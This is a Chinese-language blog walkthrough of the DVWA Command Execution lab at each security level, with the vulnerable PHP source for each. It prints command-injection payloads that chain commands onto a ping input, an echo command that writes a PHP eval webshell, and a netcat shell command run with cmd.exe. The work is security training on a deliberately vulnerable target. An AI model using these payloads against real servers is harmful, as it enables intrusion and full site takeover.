dvwa靶场Command Execution全难度教程(附带代码分析)

建议使用owaspbwa靶场可以不用搭建dvwa以及其他常用靶场,省去搭建靶场的困扰,但是此靶机靶场较老,并不建议使用

owaspbwa下载地址: OWASP Broken Web Applications Project download | SourceForge.net

注:owaspbwa的本机用户名root密码owaspbwa,记得看看靶机的ip方便以后使用。dvwa的用户名和密码都为admin(owaspbwa中的dvwa是此,其他的用户名为admin密码为password)

    • Command Execution原理

代码样式

代码作用

适用范围

cmd1 & cmd2

无论1是否执行成功,2将执行

cmd1 | cmd2

无论1是否执行成功,2将执行

cmd1 ; cmd2

无论1是否执行成功,2将执行

cmd1 || cmd2

仅仅在1执行失败后才执行2

linux

cmd1 && cmd2

仅仅在1执行成功后再执行2

注意可以去掉空格,这个只是格式,可以修改变换

    • Command Execution(Security Level: low)

    • 漏洞判断

访问结果

这里直接告诉我们要输入ip,就直接输入ip看看

输入结果

这里发现直接返回了值就挺不错,可以试试直接使用前文提到的原理去利用

让大家看看,不一样的格式不一样的回显结果

127.0.0.1 & whoami

执行结果

127.0.0.1 | whoami

执行结果

127.0.0.1 ; whoami

执行结果

0.0.0.1 || whoami

执行结果

小技巧:ping不能ping不合法的ip,驶入的ip是不合法的ip
127.0.0.1 && whoami

执行结果

此处选择自己喜欢的样式就行,记得全都要去试试,建议使用'&','|',';'这些更为方便

    • 漏洞利用

    • 一句话木马写入

利用echo直接写入一句话木马

127.0.0.1 & echo '<?php @eval($_POST["password"]);?>'>shell.php

执行结果

没有回显是正常情况,这个是直接执行,保存文件实在本机目录,直接访问写入的文件名就可以

访问木马结果

此处除数字报错显示为成功,伸下来就蚁剑直接链接就可以,密码为password

拿到网站管理权

    • 反弹shell

我用的是nc反弹命令行windows需要安装netcat然而linux需要知道命令行的应用

nc -e cmd.exe -p 666

或者去看看他的文章吧

(24条消息) Windows下反弹shell的方法_2ed的博客-CSDN博客_metesploit windows 反弹shell payload

Linux是一样的,大同小异

    • 代码分析

<?php

if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
    
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    } else { 
    
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    }
    
}
?>

可以发现此处没有做任何过滤,这里需要有过滤不然很容易拿到管理权

    • Command Execution(Security Level: medium)

注:我就不过多说了直接payload算了

    • 漏洞利用

127.0.0.1&echo '<?php @eval($_POST["password"]);?>'>1.php

利用成功

    • 代码分析

<?php

if( isset( $_POST[ 'submit'] ) ) {

    $target = $_REQUEST[ 'ip' ];

    // Remove any of the charactars in the array (blacklist).
    $substitutions = array(
        '&&' => '',
        ';' => '',
    );

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
    
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    } else { 
    
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    }
}

?>

这里只过滤了'&&'和';',过滤不完全不需要技巧绕过

    • Command Execution(Security Level: high)

    • 漏洞利用

127.0.0.1|whoami

注:此靶场是windows上搭建的会有显示问题,而且这个是过滤了'()'的是只能使用反弹shell进行的

    • 代码分析

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

注意'|'后面有空格,这个是有可能会发生的,开发的问题

    • Command Execution(

此代码是无敌的内有漏洞

    • 代码分析

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里的代码直接把我们输入的语句的符号过滤再进行数字的拆分,重新拼接成ip再来执行ping命令,没有我们操作的空间

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

himobrinehacken

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值